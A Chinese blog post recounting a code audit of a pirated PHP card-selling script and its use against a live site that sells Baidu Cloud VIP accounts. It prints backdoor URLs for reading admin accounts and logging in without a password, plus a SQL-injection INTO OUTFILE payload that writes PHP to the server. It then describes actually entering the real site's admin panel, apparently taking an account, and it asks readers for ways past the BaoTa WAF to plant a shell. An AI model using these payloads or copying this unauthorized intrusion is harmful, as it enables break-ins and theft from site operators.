記一次由百度雲會員引起的審計及滲透
- 2020 年 1 月 20 日
- 筆記
前言#
前天找了點域滲透的環境和資料,都是百度雲盤存儲的,一個鏡像十幾個g,下不下來,發現網上有賣百度雲VIP賬號的,都是一些發卡網,剛好自己最近在學代碼審計,就想着下載一套源碼自己看看能不能審出漏洞。沒想到還真看出來了點東西。
開搞#
目標站點xx.com
掃出了readme.txt
,是企業版PHP自動發卡源碼免授權優化版
看到這免授權優化版我就知道有戲,很可能存在後門。網上找了一套
目錄結構和目標站點一樣,應該就是這套了。
本地搭建,然後源代碼扔到seay先跑着,我先大概看下架構
index.php
入口
典型的mvc架構
偽靜態重寫URL
代碼審計這方面我是新手,所以我的目標是找找sql注入、未授權訪問、上傳點以及越權,當然考慮到是免授權優化版,我還可以找找後門:文件遍歷或者代碼執行
[後門?]文件遍歷#
/bom.php
的checkdir()
函數
遞歸遍歷當前目錄下的所有文件。
這個文件應該是去除文件的bom頭,不知道算不算後門。
過濾方式#
includeslibsFunctions.php
全局makeSafe()
函數過濾,強轉數字,addslashes()
和mysql_real_escape_string()
轉義字符串,strip_tags
去除html標籤
includeslibsMysql.php
MySQL使用UTF8編碼
我發現的SQL語句變量全部使用單引號進行包裹,寄希望於seay,暫放。
[後門]獲取管理員賬戶#
adminadminInfo.php
沒有鑒權
function getmethod(){ $ob = new Admin_Model(); $items = $ob->getData(1, 10, "WHERE id <> -1"); $index = 0; echo "<table border='1' style=''>"; foreach($items as $item){ echo "<tr>"; $index ++; if($index == 1){ foreach($item as $key => $val){ if(preg_match("/^d*$/",$key)){ continue; } echo "<th>$key</th>"; } echo "</tr>"; echo "<tr>"; } foreach($item as $key => $val){ if(preg_match("/^d*$/",$key)){ continue; } echo "<td>$val</td>"; } echo "</tr>"; } echo "</table>"; }
payload:/admin/adminInfo.php?action=get
[後門]無需密碼登錄後台#
還是adminadminInfo.php
function infomethod(){ $ob = new Admin_Model(); $u = $ob->getOneData($_GET['id']); $_SESSION['login_adminname']=$u['username']; $_SESSION['login_adminid']=$u['id']; $_SESSION['login_adminutype']=$u['utype']; $_SESSION['login_adminlimit']=explode('|',$u['adminlimit']); }
payload:先訪問/admin/adminInfo.php?action=info&id=1
然後訪問/admin/
[後門]SQL注入#
還是adminadminInfo.php
的infomethod()
函數
$u = $ob->getOneData($_GET['id']);
id直接代入數據庫查詢,可嘗試into outfile
payload
http://go.go/admin/admininfo.php?action=info&id=-1 union select 1,2,3,4,5,6,7,8,9,10,'<?php phpinfo()?>' into outfile 'E:/WWW/faka/1.php'
後台任意文件上傳#
/admin/set.php
未對文件後綴校驗
漏洞利用#
文件遍歷拿到後台=>adminInfo.php
拿到管理員賬戶或直接登陸=>任意文件上傳拿shell
實戰#
後門進入後台,上傳沒有寫文件權限,sql注入outfile寫文件被寶塔攔截,嘗試多種方法無果,放棄,畢竟賬號已經有了,下東西去。
ps:我沒想到一個賣百度雲賬號的流水一天也能7k
總結#
網站是死的,思路是活的。滲透測試的精髓是指哪打哪,希望我可以做到。另外如果有師傅知道怎麼繞過寶塔寫shell的請pm我,感激不盡。有在學代碼審計的同學也歡迎找我交流哦!
原文由:Chabug安全Y4er